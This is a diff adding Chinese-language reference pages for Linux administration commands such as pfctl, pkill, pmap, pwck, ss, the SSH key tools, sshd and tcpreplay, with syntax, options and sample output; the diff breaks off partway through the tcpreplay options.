```
|
||||
touch /etc/nologin
|
||||
```
|
||||
|
||||
除root以外的用户不能登录了。
|
||||
|
||||
|
||||
<!-- Linux命令行搜索引擎:https://jaywcjlove.github.io/linux-command/ -->
|
||||
|
|
@ -0,0 +1,69 @@
|
|||
pfctl
|
||||
===
|
||||
|
||||
PF防火墙的配置命令
|
||||
|
||||
## 补充说明
|
||||
|
||||
**pfctl命令** 是PF防火墙的配置命令,PF防火墙( 全称:Packet Filter )是UNIX LIKE系统上进行TCP/ip流量过滤和网络地址转换的软件系统。PF同样也能提供TCP/IP流量的整形和控制,并且提供带宽控制和数据包优先集控制。PF最早是由Daniel Hartmeier开发的,现在的开发和维护由Daniel和openBSD小组的其他成员负责。
|
||||
|
||||
PF防火墙的功能很多,本站只列举一些基本配置。
|
||||
|
||||
### 激活
|
||||
|
||||
要激活pf并且使它在启动时调用配置文件,编辑`/etc/rc.conf`文件,修改配置pf的一行:
|
||||
|
||||
```
|
||||
pf=yes
|
||||
```
|
||||
|
||||
重启操作系统让配置生效。
|
||||
|
||||
也可以通过pfctl程序启动和停止pf:
|
||||
|
||||
```
|
||||
# pfctl -e
|
||||
# pfctl -d
|
||||
```
|
||||
|
||||
注意这仅仅是启动和关闭PF,实际它不会载入规则集,规则集要么在系统启动时载入,要在PF启动后通过命令单独载入。
|
||||
|
||||
### 配置
|
||||
|
||||
系统引导到在rc脚本文件运行PF时PF从`/etc/pf.conf`文件载入配置规则。注意当`/etc/pf.conf`文件是默认配置文件,在系统调用rc脚本文件时,它仅仅是作为文本文件由pfctl装入并解释和插入pf的。对于一些应用来说,其他的规则集可以在系统引导后由其他文件载入。对于一些设计的非常好的unix程序,PF提供了足够的灵活性。
|
||||
|
||||
**pf.conf文件有7个部分:**
|
||||
|
||||
1. 宏:用户定义的变量,包括IP地址,接口名称等等。
|
||||
2. 表:一种用来保存IP地址列表的结构。
|
||||
3. 选项:控制PF如何工作的变量。
|
||||
4. 整形:重新处理数据包,进行正常化和碎片整理。
|
||||
5. 排队:提供带宽控制和数据包优先级控制。
|
||||
6. 转换:控制网络地址转换和数据包重定向。
|
||||
7. 过滤规则:在数据包通过接口时允许进行选择性的过滤和阻止。
|
||||
|
||||
除去宏和表,其他的段在配置文件中也应该按照这个顺序出现,尽管对于一些特定的应用并不是所有的段都是必须的。
|
||||
|
||||
空行会被忽略,以#开头的行被认为是注释。
|
||||
|
||||
### 控制
|
||||
|
||||
引导之后,PF可以通过pfctl程序进行操作,以下是一些例子:
|
||||
|
||||
```
|
||||
# pfctl -f /etc/pf.conf 载入 pf.conf 文件
|
||||
# pfctl -nf /etc/pf.conf 解析文件,但不载入
|
||||
# pfctl -Nf /etc/pf.conf 只载入文件中的NAT规则
|
||||
# pfctl -Rf /etc/pf.conf 只载入文件中的过滤规则
|
||||
|
||||
# pfctl -sn 显示当前的NAT规则
|
||||
# pfctl -sr 显示当前的过滤规则
|
||||
# pfctl -ss 显示当前的状态表
|
||||
# pfctl -si 显示过滤状态和计数
|
||||
# pfctl -sa 显示任何可显示的
|
||||
```
|
||||
|
||||
完整的命令列表,请参阅pfctl的man手册页。
|
||||
|
||||
|
||||
<!-- Linux命令行搜索引擎:https://jaywcjlove.github.io/linux-command/ -->
|
||||
|
|
@ -0,0 +1,42 @@
|
|||
pkill
|
||||
===
|
||||
|
||||
可以按照进程名杀死进程
|
||||
|
||||
## 补充说明
|
||||
|
||||
**pkill命令** 可以按照进程名杀死进程。pkill和killall应用方法差不多,也是直接杀死运行中的程序;如果您想杀掉单个进程,请用kill来杀掉。
|
||||
|
||||
### 语法
|
||||
|
||||
```
|
||||
pkill(选项)(参数)
|
||||
```
|
||||
|
||||
### 选项
|
||||
|
||||
```
|
||||
-o:仅向找到的最小(起始)进程号发送信号;
|
||||
-n:仅向找到的最大(结束)进程号发送信号;
|
||||
-P:指定父进程号发送信号;
|
||||
-g:指定进程组;
|
||||
-t:指定开启进程的终端。
|
||||
```
|
||||
|
||||
### 参数
|
||||
|
||||
进程名称:指定要查找的进程名称,同时也支持类似grep指令中的匹配模式。
|
||||
|
||||
### 实例
|
||||
|
||||
```
|
||||
pgrep -l gaim
|
||||
2979 gaim
|
||||
|
||||
pkill gaim
|
||||
```
|
||||
|
||||
也就是说:kill对应的是PID,pkill对应的是command。
|
||||
|
||||
|
||||
<!-- Linux命令行搜索引擎:https://jaywcjlove.github.io/linux-command/ -->
|
||||
|
|
@ -0,0 +1,124 @@
|
|||
pmap
|
||||
===
|
||||
|
||||
报告进程的内存映射关系
|
||||
|
||||
## 补充说明
|
||||
|
||||
**pmap命令** 用于报告进程的内存映射关系,是Linux调试及运维一个很好的工具。
|
||||
|
||||
### 语法
|
||||
|
||||
```
|
||||
pmap(选项)(参数)
|
||||
```
|
||||
|
||||
### 选项
|
||||
|
||||
```
|
||||
-x:显示扩展格式;
|
||||
-d:显示设备格式;
|
||||
-q:不显示头尾行;
|
||||
-V:显示指定版本。
|
||||
```
|
||||
|
||||
### 参数
|
||||
|
||||
进程号:指定需要显示内存映射关系的进程号,可以是多个进程号。
|
||||
|
||||
### 实例
|
||||
|
||||
```
|
||||
pidof nginx
|
||||
13312 5371
|
||||
|
||||
pmap -x 5371
|
||||
5371: nginx: worker process
|
||||
Address Kbytes RSS Dirty Mode Mapping
|
||||
0000000000400000 564 344 0 r-x-- nginx
|
||||
000000000068c000 68 68 60 rw--- nginx
|
||||
000000000069d000 56 12 12 rw--- [ anon ]
|
||||
000000000a0c8000 1812 1684 1684 rw--- [ anon ]
|
||||
0000003ac0a00000 112 40 0 r-x-- ld-2.5.so
|
||||
0000003ac0c1c000 4 4 4 r---- ld-2.5.so
|
||||
0000003ac0c1d000 4 4 4 rw--- ld-2.5.so
|
||||
0000003ac0e00000 1340 284 0 r-x-- libc-2.5.so
|
||||
0000003ac0f4f000 2044 0 0 ----- libc-2.5.so
|
||||
0000003ac114e000 16 16 8 r---- libc-2.5.so
|
||||
0000003ac1152000 4 4 4 rw--- libc-2.5.so
|
||||
0000003ac1153000 20 20 20 rw--- [ anon ]
|
||||
0000003ac1200000 8 4 0 r-x-- libdl-2.5.so
|
||||
0000003ac1202000 2048 0 0 ----- libdl-2.5.so
|
||||
0000003ac1402000 4 4 4 r---- libdl-2.5.so
|
||||
0000003ac1403000 4 4 4 rw--- libdl-2.5.so
|
||||
0000003ac1600000 84 0 0 r-x-- libselinux.so.1
|
||||
0000003ac1615000 2048 0 0 ----- libselinux.so.1
|
||||
0000003ac1815000 8 8 8 rw--- libselinux.so.1
|
||||
0000003ac1817000 4 4 4 rw--- [ anon ]
|
||||
0000003ac1a00000 236 0 0 r-x-- libsepol.so.1
|
||||
0000003ac1a3b000 2048 0 0 ----- libsepol.so.1
|
||||
0000003ac1c3b000 4 4 4 rw--- libsepol.so.1
|
||||
0000003ac1c3c000 40 0 0 rw--- [ anon ]
|
||||
0000003ac1e00000 88 44 0 r-x-- libpthread-2.5.so
|
||||
0000003ac1e16000 2048 0 0 ----- libpthread-2.5.so
|
||||
0000003ac2016000 4 4 4 r---- libpthread-2.5.so
|
||||
0000003ac2017000 4 4 4 rw--- libpthread-2.5.so
|
||||
0000003ac2018000 16 4 4 rw--- [ anon ]
|
||||
0000003ac2600000 80 52 0 r-x-- libz.so.1.2.3
|
||||
0000003ac2614000 2044 0 0 ----- libz.so.1.2.3
|
||||
0000003ac2813000 4 4 4 rw--- libz.so.1.2.3
|
||||
0000003ac2a00000 36 4 0 r-x-- libcrypt-2.5.so
|
||||
0000003ac2a09000 2044 0 0 ----- libcrypt-2.5.so
|
||||
0000003ac2c08000 4 4 4 r---- libcrypt-2.5.so
|
||||
0000003ac2c09000 4 4 4 rw--- libcrypt-2.5.so
|
||||
0000003ac2c0a000 184 0 0 rw--- [ anon ]
|
||||
0000003ac3600000 8 0 0 r-x-- libkeyutils-1.2.so
|
||||
0000003ac3602000 2044 0 0 ----- libkeyutils-1.2.so
|
||||
0000003ac3801000 4 4 4 rw--- libkeyutils-1.2.so
|
||||
0000003ac3a00000 68 0 0 r-x-- libresolv-2.5.so
|
||||
0000003ac3a11000 2048 0 0 ----- libresolv-2.5.so
|
||||
0000003ac3c11000 4 4 4 r---- libresolv-2.5.so
|
||||
0000003ac3c12000 4 4 4 rw--- libresolv-2.5.so
|
||||
0000003ac3c13000 8 0 0 rw--- [ anon ]
|
||||
0000003ac3e00000 8 0 0 r-x-- libcom_err.so.2.1
|
||||
0000003ac3e02000 2044 0 0 ----- libcom_err.so.2.1
|
||||
0000003ac4001000 4 4 4 rw--- libcom_err.so.2.1
|
||||
0000003ac4200000 1204 8 0 r-x-- libcrypto.so.0.9.8e
|
||||
0000003ac432d000 2044 0 0 ----- libcrypto.so.0.9.8e
|
||||
0000003ac452c000 132 88 12 rw--- libcrypto.so.0.9.8e
|
||||
0000003ac454d000 16 12 12 rw--- [ anon ]
|
||||
0000003ac4600000 176 0 0 r-x-- libgssapi_krb5.so.2.2
|
||||
0000003ac462c000 2048 0 0 ----- libgssapi_krb5.so.2.2
|
||||
0000003ac482c000 8 8 8 rw--- libgssapi_krb5.so.2.2
|
||||
0000003ac4a00000 144 0 0 r-x-- libk5crypto.so.3.1
|
||||
0000003ac4a24000 2044 0 0 ----- libk5crypto.so.3.1
|
||||
0000003ac4c23000 8 8 8 rw--- libk5crypto.so.3.1
|
||||
0000003ac4e00000 32 0 0 r-x-- libkrb5support.so.0.1
|
||||
0000003ac4e08000 2044 0 0 ----- libkrb5support.so.0.1
|
||||
0000003ac5007000 4 4 4 rw--- libkrb5support.so.0.1
|
||||
0000003ac5200000 580 0 0 r-x-- libkrb5.so.3.3
|
||||
0000003ac5291000 2048 0 0 ----- libkrb5.so.3.3
|
||||
0000003ac5491000 16 16 12 rw--- libkrb5.so.3.3
|
||||
0000003ac5a00000 288 4 0 r-x-- libssl.so.0.9.8e
|
||||
0000003ac5a48000 2048 0 0 ----- libssl.so.0.9.8e
|
||||
0000003ac5c48000 24 16 12 rw--- libssl.so.0.9.8e
|
||||
00002b5751808000 8 8 8 rw--- [ anon ]
|
||||
00002b5751810000 108 36 0 r-x-- libpcre.so.1.2.0
|
||||
00002b575182b000 2044 0 0 ----- libpcre.so.1.2.0
|
||||
00002b5751a2a000 4 4 4 rw--- libpcre.so.1.2.0
|
||||
00002b5751a2b000 28 28 28 rw--- [ anon ]
|
||||
00002b5751a32000 40 20 0 r-x-- libnss_files-2.5.so
|
||||
00002b5751a3c000 2044 0 0 ----- libnss_files-2.5.so
|
||||
00002b5751c3b000 4 4 4 r---- libnss_files-2.5.so
|
||||
00002b5751c3c000 4 4 4 rw--- libnss_files-2.5.so
|
||||
00002b5751c3d000 4 4 4 rw-s- zero (deleted)
|
||||
00002b5751c3e000 20012 20000 20000 rw--- [ anon ]
|
||||
00007fffbf2ce000 84 20 20 rw--- [ stack ]
|
||||
00007fffbf35e000 12 0 0 r-x-- [ anon ]
|
||||
ffffffffff600000 8192 0 0 ----- [ anon ]
|
||||
---------------- ------ ------ ------
|
||||
total kB 72880 22940 22000
|
||||
```
|
||||
|
||||
|
||||
<!-- Linux命令行搜索引擎:https://jaywcjlove.github.io/linux-command/ -->
|
||||
|
|
@ -0,0 +1,53 @@
|
|||
pwck
|
||||
===
|
||||
|
||||
用来验证系统认证文件内容和格式的完整性
|
||||
|
||||
## 补充说明
|
||||
|
||||
**pwck命令** 用来验证系统认证文件`/etc/passwd`和`/etc/shadow`的内容和格式的完整性。
|
||||
|
||||
### 语法
|
||||
|
||||
```
|
||||
pwck(选项)(参数)
|
||||
```
|
||||
|
||||
### 选项
|
||||
|
||||
```
|
||||
-q:仅报告错误信息;
|
||||
-s:以用户id排序文件“/etc/passwd”和“/etc/shadow”;
|
||||
-r:只读方式运行指令。
|
||||
```
|
||||
|
||||
### 参数
|
||||
|
||||
* 密码文件:指定密码文件的路径;
|
||||
* 影子文件:指定影子文件的路径。
|
||||
|
||||
### 实例
|
||||
|
||||
```
|
||||
pwck /etc/passwd
|
||||
user 'lp': directory '/var/spool/lpd' does not exist
|
||||
user 'news': directory '/var/spool/news' does not exist
|
||||
user 'uucp': directory '/var/spool/uucp' does not exist
|
||||
user 'www-data': directory '/var/www' does not exist
|
||||
user 'list': directory '/var/list' does not exist
|
||||
user 'irc': directory '/var/run/ircd' does not exist
|
||||
user 'gnats': directory '/var/lib/gnats' does not exist
|
||||
user 'nobody': directory '/nonexistent' does not exist
|
||||
user 'syslog': directory '/home/syslog' does not exist
|
||||
user 'couchdb': directory '/var/lib/couchdb' does not exist
|
||||
user 'speech-dispatcher': directory '/var/run/speech-dispatcher' does not exist
|
||||
user 'usbmux': directory '/home/usbmux' does not exist
|
||||
user 'haldaemon': directory '/var/run/hald' does not exist
|
||||
user 'pulse': directory '/var/run/pulse' does not exist
|
||||
user 'saned': directory '/home/saned' does not exist
|
||||
user 'hplip': directory '/var/run/hplip' does not exist
|
||||
pwck:无改变
|
||||
```
|
||||
|
||||
|
||||
<!-- Linux命令行搜索引擎:https://jaywcjlove.github.io/linux-command/ -->
|
||||
|
|
@ -0,0 +1,40 @@
|
|||
runlevel
|
||||
===
|
||||
|
||||
打印当前Linux系统的运行等级
|
||||
|
||||
## 补充说明
|
||||
|
||||
**runlevel命令** 用于打印当前Linux系统的运行等级。
|
||||
|
||||
### 语法
|
||||
|
||||
```
|
||||
runlevel
|
||||
```
|
||||
|
||||
### 知识扩展
|
||||
|
||||
linux操作系统自从开始启动至启动完毕需要经历几个不同的阶段,这几个阶段就叫做runlevel,同样,当linux操作系统关闭时也要经历另外几个不同的runlevel,下面我们就准备详细介绍一下runlevel,并向您展示一些小技巧来让您的linux系统避免不必要的重启动。
|
||||
|
||||
runlevel可以认为是系统状态,形象一点,您可以认为runlevel有点象微软的windows操作系统中的Normal,safemode,和command prompt only。进入每个runlevel都需要启动或关闭相应的一系列服务(services),这些服务(services)以初始化脚本的方式放置于目录`/etc/rc.d/rc?.d/`或者`/etc/rc?.d`下面(?代表runlevel的对应序号)。
|
||||
|
||||
在大多数的linux发行版本中,通常有8个runlevel:
|
||||
|
||||
```
|
||||
0 停机
|
||||
1 单用户模式
|
||||
2 多用户,没有 NFS
|
||||
3 完全多用户模式
|
||||
4 没有用到
|
||||
5 图形界面
|
||||
6 重新启动
|
||||
S s Single user mode
|
||||
```
|
||||
|
||||
多数的桌面的linux系统缺省的runlevel是5,用户登陆时是图形界面,而多数的服务器版本的linux系统缺省的runlevel是3,用户登陆时是字符界面,runlevel 1和2除了调试之外很少使用,runlevel s和S并不是直接给用户使用,而是用来为Single user mode作准备。
|
||||
|
||||
linux的运行模式比起windows的启动模式的优势在于:你可以在系统空闲时使用init命令切换你现在使用的runlevel,另外,当你关闭或者启动linux系统时你已经不知不觉中切换你的runlevel,系统关机进程需要调用runlevel(0或6)来关闭所有正在运行中的进程。
|
||||
|
||||
|
||||
<!-- Linux命令行搜索引擎:https://jaywcjlove.github.io/linux-command/ -->
|
||||
|
|
@ -0,0 +1,59 @@
|
|||
service
|
||||
===
|
||||
|
||||
控制系统服务的实用工具
|
||||
|
||||
## 补充说明
|
||||
|
||||
**service命令** 是Redhat Linux兼容的发行版中用来控制系统服务的实用工具,它以启动、停止、重新启动和关闭系统服务,还可以显示所有系统服务的当前状态。
|
||||
|
||||
### 语法
|
||||
|
||||
```
|
||||
service(选项)(参数)
|
||||
```
|
||||
|
||||
### 选项
|
||||
|
||||
```
|
||||
-h:显示帮助信息;
|
||||
--status-all:显示所服务的状态。
|
||||
```
|
||||
|
||||
### 参数
|
||||
|
||||
* 服务名:自动要控制的服务名,即`/etc/init.d`目录下的脚本文件名;
|
||||
* 控制命令:系统服务脚本支持的控制命令。
|
||||
|
||||
### 实例
|
||||
|
||||
当修改了主机名、ip地址等信息时,经常需要把网络重启使之生效。
|
||||
|
||||
```
|
||||
service network status
|
||||
配置设备:
|
||||
lo eth0
|
||||
当前的活跃设备:
|
||||
lo eth0
|
||||
|
||||
service network restart
|
||||
正在关闭接口 eth0: [ 确定 ]
|
||||
关闭环回接口: [ 确定 ]
|
||||
设置网络参数: [ 确定 ]
|
||||
弹出环回接口: [ 确定 ]
|
||||
弹出界面 eth0: [ 确定 ]
|
||||
```
|
||||
|
||||
重启mysql
|
||||
|
||||
```
|
||||
service mysqld status
|
||||
mysqld (pid 1638) 正在运行...
|
||||
|
||||
service mysqld restart
|
||||
停止 MySQL: [ 确定 ]
|
||||
启动 MySQL: [ 确定 ]
|
||||
```
|
||||
|
||||
|
||||
<!-- Linux命令行搜索引擎:https://jaywcjlove.github.io/linux-command/ -->
|
||||
|
|
@ -0,0 +1,17 @@
|
|||
sftp-server
|
||||
===
|
||||
|
||||
sftp协议的服务器端程序
|
||||
|
||||
## 补充说明
|
||||
|
||||
**sftp-server命令** 是一个“sftp”协议的服务器端程序,它使用加密的方式进行文件传输。
|
||||
|
||||
### 语法
|
||||
|
||||
```
|
||||
sftp-server
|
||||
```
|
||||
|
||||
|
||||
<!-- Linux命令行搜索引擎:https://jaywcjlove.github.io/linux-command/ -->
|
||||
|
|
@ -0,0 +1,116 @@
|
|||
ss
|
||||
===
|
||||
|
||||
获取socket统计信息
|
||||
|
||||
## 补充说明
|
||||
|
||||
**ss命令** 用来显示处于活动状态的套接字信息。ss命令可以用来获取socket统计信息,它可以显示和netstat类似的内容。但ss的优势在于它能够显示更多更详细的有关TCP和连接状态的信息,而且比netstat更快速更高效。
|
||||
|
||||
当服务器的socket连接数量变得非常大时,无论是使用netstat命令还是直接`cat /proc/net/tcp`,执行速度都会很慢。可能你不会有切身的感受,但请相信我,当服务器维持的连接达到上万个的时候,使用netstat等于浪费 生命,而用ss才是节省时间。
|
||||
|
||||
天下武功唯快不破。ss快的秘诀在于,它利用到了TCP协议栈中tcp_diag。tcp_diag是一个用于分析统计的模块,可以获得Linux 内核中第一手的信息,这就确保了ss的快捷高效。当然,如果你的系统中没有tcp_diag,ss也可以正常运行,只是效率会变得稍慢。
|
||||
|
||||
### 语法
|
||||
|
||||
```
|
||||
ss(选项)
|
||||
```
|
||||
|
||||
### 选项
|
||||
|
||||
```
|
||||
-h:显示帮助信息;
|
||||
-V:显示指令版本信息;
|
||||
-n:不解析服务名称,以数字方式显示;
|
||||
-a:显示所有的套接字;
|
||||
-l:显示处于监听状态的套接字;
|
||||
-o:显示计时器信息;
|
||||
-m:显示套接字的内存使用情况;
|
||||
-p:显示使用套接字的进程信息;
|
||||
-i:显示内部的TCP信息;
|
||||
-4:只显示ipv4的套接字;
|
||||
-6:只显示ipv6的套接字;
|
||||
-t:只显示tcp套接字;
|
||||
-u:只显示udp套接字;
|
||||
-d:只显示DCCP套接字;
|
||||
-w:仅显示RAW套接字;
|
||||
-x:仅显示UNIX域套接字。
|
||||
```
|
||||
|
||||
### 实例
|
||||
|
||||
**显示ICP连接**
|
||||
|
||||
```
|
||||
[root@localhost ~]# ss -t -a
|
||||
State Recv-Q Send-Q Local Address:Port Peer Address:Port
|
||||
LISTEN 0 0 *:3306 *:*
|
||||
LISTEN 0 0 *:http *:*
|
||||
LISTEN 0 0 *:ssh *:*
|
||||
LISTEN 0 0 127.0.0.1:smtp *:*
|
||||
ESTAB 0 0 112.124.15.130:42071 42.156.166.25:http
|
||||
ESTAB 0 0 112.124.15.130:ssh 121.229.196.235:33398
|
||||
```
|
||||
|
||||
**显示 Sockets 摘要**
|
||||
|
||||
```
|
||||
[root@localhost ~]# ss -s
|
||||
Total: 172 (kernel 189)
|
||||
TCP: 10 (estab 2, closed 4, orphaned 0, synrecv 0, timewait 0/0), ports 5
|
||||
|
||||
Transport Total ip IPv6
|
||||
* 189 - -
|
||||
RAW 0 0 0
|
||||
UDP 5 5 0
|
||||
TCP 6 6 0
|
||||
INET 11 11 0
|
||||
FRAG 0 0 0
|
||||
```
|
||||
|
||||
列出当前的established, closed, orphaned and waiting TCP sockets
|
||||
|
||||
**列出所有打开的网络连接端口**
|
||||
|
||||
```
|
||||
[root@localhost ~]# ss -l
|
||||
Recv-Q Send-Q Local Address:Port Peer Address:Port
|
||||
0 0 *:3306 *:*
|
||||
0 0 *:http *:*
|
||||
0 0 *:ssh *:*
|
||||
0 0 127.0.0.1:smtp *:*
|
||||
```
|
||||
|
||||
**查看进程使用的socket**
|
||||
|
||||
```
|
||||
[root@localhost ~]# ss -pl
|
||||
Recv-Q Send-Q Local Address:Port Peer Address:Port
|
||||
0 0 *:3306 *:* users:(("mysqld",1718,10))
|
||||
0 0 *:http *:* users:(("nginx",13312,5),("nginx",13333,5))
|
||||
0 0 *:ssh *:* users:(("sshd",1379,3))
|
||||
0 0 127.0.0.1:smtp *:* us
|
||||
```
|
||||
|
||||
**找出打开套接字/端口应用程序**
|
||||
|
||||
```
|
||||
[root@localhost ~]# ss -pl | grep 3306
|
||||
0 0 *:3306 *:* users:(("mysqld",1718,10))
|
||||
```
|
||||
|
||||
**显示所有UDP Sockets**
|
||||
|
||||
```
|
||||
[root@localhost ~]# ss -u -a
|
||||
State Recv-Q Send-Q Local Address:Port Peer Address:Port
|
||||
UNCONN 0 0 *:syslog *:*
|
||||
UNCONN 0 0 112.124.15.130:ntp *:*
|
||||
UNCONN 0 0 10.160.7.81:ntp *:*
|
||||
UNCONN 0 0 127.0.0.1:ntp *:*
|
||||
UNCONN 0 0 *:ntp *:*
|
||||
```
|
||||
|
||||
|
||||
<!-- Linux命令行搜索引擎:https://jaywcjlove.github.io/linux-command/ -->
|
||||
|
|
@ -0,0 +1,53 @@
|
|||
ssh-add
|
||||
===
|
||||
|
||||
把专用密钥添加到ssh-agent的高速缓存中
|
||||
|
||||
## 补充说明
|
||||
|
||||
**ssh-add命令** 是把专用密钥添加到ssh-agent的高速缓存中。该命令位置在`/usr/bin/ssh-add`。
|
||||
|
||||
### 语法
|
||||
|
||||
```
|
||||
ssh-add [-cDdLlXx] [-t life] [file ...]
|
||||
ssh-add -s pkcs11
|
||||
ssh-add -e pkcs11
|
||||
```
|
||||
|
||||
### 选项
|
||||
|
||||
```
|
||||
-D:删除ssh-agent中的所有密钥.
|
||||
-d:从ssh-agent中的删除密钥
|
||||
-e pkcs11:删除PKCS#11共享库pkcs1提供的钥匙。
|
||||
-s pkcs11:添加PKCS#11共享库pkcs1提供的钥匙。
|
||||
-L:显示ssh-agent中的公钥
|
||||
-l:显示ssh-agent中的密钥
|
||||
-t life:对加载的密钥设置超时时间,超时ssh-agent将自动卸载密钥
|
||||
-X:对ssh-agent进行解锁
|
||||
-x:对ssh-agent进行加锁
|
||||
```
|
||||
|
||||
### 实例
|
||||
|
||||
1、把专用密钥添加到 ssh-agent 的高速缓存中:
|
||||
|
||||
```
|
||||
ssh-add ~/.ssh/id_dsa
|
||||
```
|
||||
|
||||
2、从ssh-agent中删除密钥:
|
||||
|
||||
```
|
||||
ssh-add -d ~/.ssh/id_xxx.pub
|
||||
```
|
||||
|
||||
3、查看ssh-agent中的密钥:
|
||||
|
||||
```
|
||||
ssh-add -l
|
||||
```
|
||||
|
||||
|
||||
<!-- Linux命令行搜索引擎:https://jaywcjlove.github.io/linux-command/ -->
|
||||
|
|
@ -0,0 +1,41 @@
|
|||
ssh-agent
|
||||
===
|
||||
|
||||
ssh密钥管理器
|
||||
|
||||
## 补充说明
|
||||
|
||||
**ssh-agent命令** 是一种控制用来保存公钥身份验证所使用的私钥的程序。ssh-agent在X会话或登录会话之初启动,所有其他窗口或程序则以客户端程序的身份启动并加入到ssh-agent程序中。通过使用环境变量,可定位代理并在登录到其他使用ssh机器上时使用代理自动进行身份验证。
|
||||
|
||||
其实ssh-agent就是一个密钥管理器,运行ssh-agent以后,使用ssh-add将私钥交给ssh-agent保管,其他程序需要身份验证的时候可以将验证申请交给ssh-agent来完成整个认证过程。
|
||||
|
||||
### 语法
|
||||
|
||||
```
|
||||
ssh-agent [-c | -s] [-d] [-a bind_address] [-t life] [command [arg ...]]
|
||||
ssh-agent [-c | -s] -k
|
||||
```
|
||||
|
||||
### 选项
|
||||
|
||||
```
|
||||
-a bind_address:bind the agent to the UNIX-domain socket bind_address.
|
||||
-c:生成C-shell风格的命令输出。
|
||||
-d:调试模式。
|
||||
-k:把ssh-agent进程杀掉。
|
||||
-s:生成Bourne shell 风格的命令输出。
|
||||
-t life:设置默认值添加到代理人的身份最大寿命。
|
||||
```
|
||||
|
||||
### 实例
|
||||
|
||||
运行ssh-agent:
|
||||
|
||||
```
|
||||
ssh-agent
|
||||
```
|
||||
|
||||
运行ssh-agent,它会打印出来它使用的环境和变量。
|
||||
|
||||
|
||||
<!-- Linux命令行搜索引擎:https://jaywcjlove.github.io/linux-command/ -->
|
||||
|
|
@ -0,0 +1,32 @@
|
|||
ssh-copy-id
|
||||
===
|
||||
|
||||
把本地的ssh公钥文件安装到远程主机对应的账户下
|
||||
|
||||
## 补充说明
|
||||
|
||||
**ssh-copy-id命令** 可以把本地主机的公钥复制到远程主机的authorized_keys文件上,ssh-copy-id命令也会给远程主机的用户主目录(home)和`~/.ssh`, 和`~/.ssh/authorized_keys`设置合适的权限。
|
||||
|
||||
### 语法
|
||||
|
||||
```
|
||||
ssh-copy-id [-i [identity_file]] [user@]machine
|
||||
```
|
||||
|
||||
### 选项
|
||||
|
||||
```
|
||||
-i:指定公钥文件
|
||||
```
|
||||
|
||||
### 实例
|
||||
|
||||
1、把本地的ssh公钥文件安装到远程主机对应的账户下:
|
||||
|
||||
```
|
||||
ssh-copy-id user@server
|
||||
ssh-copy-id -i ~/.ssh/id_rsa.pub user@server
|
||||
```
|
||||
|
||||
|
||||
<!-- Linux命令行搜索引擎:https://jaywcjlove.github.io/linux-command/ -->
|
||||
|
|
@ -0,0 +1,32 @@
|
|||
ssh-keygen
|
||||
===
|
||||
|
||||
为ssh生成、管理和转换认证密钥
|
||||
|
||||
## 补充说明
|
||||
|
||||
**ssh-keygen命令** 用于为“ssh”生成、管理和转换认证密钥,它支持RSA和DSA两种认证密钥。
|
||||
|
||||
### 语法
|
||||
|
||||
```
|
||||
ssh-keygen(选项)
|
||||
```
|
||||
|
||||
### 选项
|
||||
|
||||
```
|
||||
-b:指定密钥长度;
|
||||
-e:读取openssh的私钥或者公钥文件;
|
||||
-C:添加注释;
|
||||
-f:指定用来保存密钥的文件名;
|
||||
-i:读取未加密的ssh-v2兼容的私钥/公钥文件,然后在标准输出设备上显示openssh兼容的私钥/公钥;
|
||||
-l:显示公钥文件的指纹数据;
|
||||
-N:提供一个新密语;
|
||||
-P:提供(旧)密语;
|
||||
-q:静默模式;
|
||||
-t:指定要创建的密钥类型。
|
||||
```
|
||||
|
||||
|
||||
<!-- Linux命令行搜索引擎:https://jaywcjlove.github.io/linux-command/ -->
|
||||
|
|
@ -0,0 +1,34 @@
|
|||
sshd
|
||||
===
|
||||
|
||||
openssh软件套件中的服务器守护进程
|
||||
|
||||
## 补充说明
|
||||
|
||||
**sshd命令** 是openssh软件套件中的服务器守护进程。
|
||||
|
||||
### 语法
|
||||
|
||||
```
|
||||
sshd(选项)
|
||||
```
|
||||
|
||||
### 选项
|
||||
|
||||
```
|
||||
-4:强制使用IPv4地址;
|
||||
-6:强制使用IPv6地址;
|
||||
-D:以后台守护进程方式运行服务器;
|
||||
-d:调试模式;
|
||||
-e:将错误发送到标准错误设备,而不是将其发送到系统日志;
|
||||
-f:指定服务器的配置文件;
|
||||
-g:指定客户端登录时的过期时间,如果在此期限内,用户没有正确认证,则服务器断开次客户端的连接;
|
||||
-h:指定读取主机key文件;
|
||||
-i:ssh以inetd方式运行;
|
||||
-o:指定ssh的配置选项;
|
||||
-p:静默模式,没有任何信息写入日志;
|
||||
-t:测试模式。
|
||||
```
|
||||
|
||||
|
||||
<!-- Linux命令行搜索引擎:https://jaywcjlove.github.io/linux-command/ -->
|
||||
|
|
@ -0,0 +1,102 @@
|
|||
tcpreplay
|
||||
===
|
||||
|
||||
将PCAP包重新发送,用于性能或者功能测试
|
||||
|
||||
## 补充说明
|
||||
|
||||
简单的说, **tcpreplay** 是一种pcap包的重放工具,它可以将用ethreal、wireshark工具抓下来的包原样或经过任意修改后重放回去。它允许你对报文做任意的修改(主要是指对2层、3层、4层报文头),指定重放报文的速度等,这样tcpreplay就可以用来复现抓包的情景以定位bug,以极快的速度重放从而实现压力测试。
|
||||
|
||||
### 选项
|
||||
|
||||
```
|
||||
-A "<args>" 在使用 tcpdump 风格打印输出信息时,同时再调用tcpdump中的参数, 默认已经带有“-n,-l”,所以一般看到的都是ip地址,而没有主机名的打印,注意这个是在tcpreplay使用了-v参数时才能使用,不带-v不会报错,但是没有实际意义。格式:-vA “nnt”表示以tcpdump风格输出报文信息,并且不打印时间戳、主机名、端口服务名称。注意不要使用-c参数来指定打印的数据报文的个数,这样发送出去的报文也会变少。
|
||||
-c <cachefile> 双网卡回放报文必选参数,后面紧跟cache文件名,该文件为tcpprep根据对应的pcap文件构造出来。
|
||||
-D 把应用层的数据,使用dump mode写入到指定文件中去,和-w、-W 参数一起使用。
|
||||
-e <ip1:ip2> 指定端点的ip,即把发送报文的和接收的报文的ip都修改称对应的参数值中指定的ip,但是这样发送的出的报文不会区分client和server。。
|
||||
-f <configfile> 指定配置文件。
|
||||
-F 在发送报文时,自动纠正错误的校验和。对测试DUT的校验和检验。
|
||||
-h 显示帮助文件。
|
||||
-i <nic> 双网卡回放报文必选参数,指定主接口。
|
||||
-I <mac> 重写主网卡发送出报文的目的MAC地址。
|
||||
-j <nic> 双网卡回放报文必选参数,指定从接口。
|
||||
-J <mac> 重写从网卡发送出报文的目的MAC地址。
|
||||
-k <mac> 重写主网卡发送报文的源MAC地址。
|
||||
-K <mac> 重写从网卡发送报文的源MAC地址。
|
||||
-l <loop> 指定循环的次数。
|
||||
-L <limit> 指定最大的发包数量。可以在确认连接的调试时使用。
|
||||
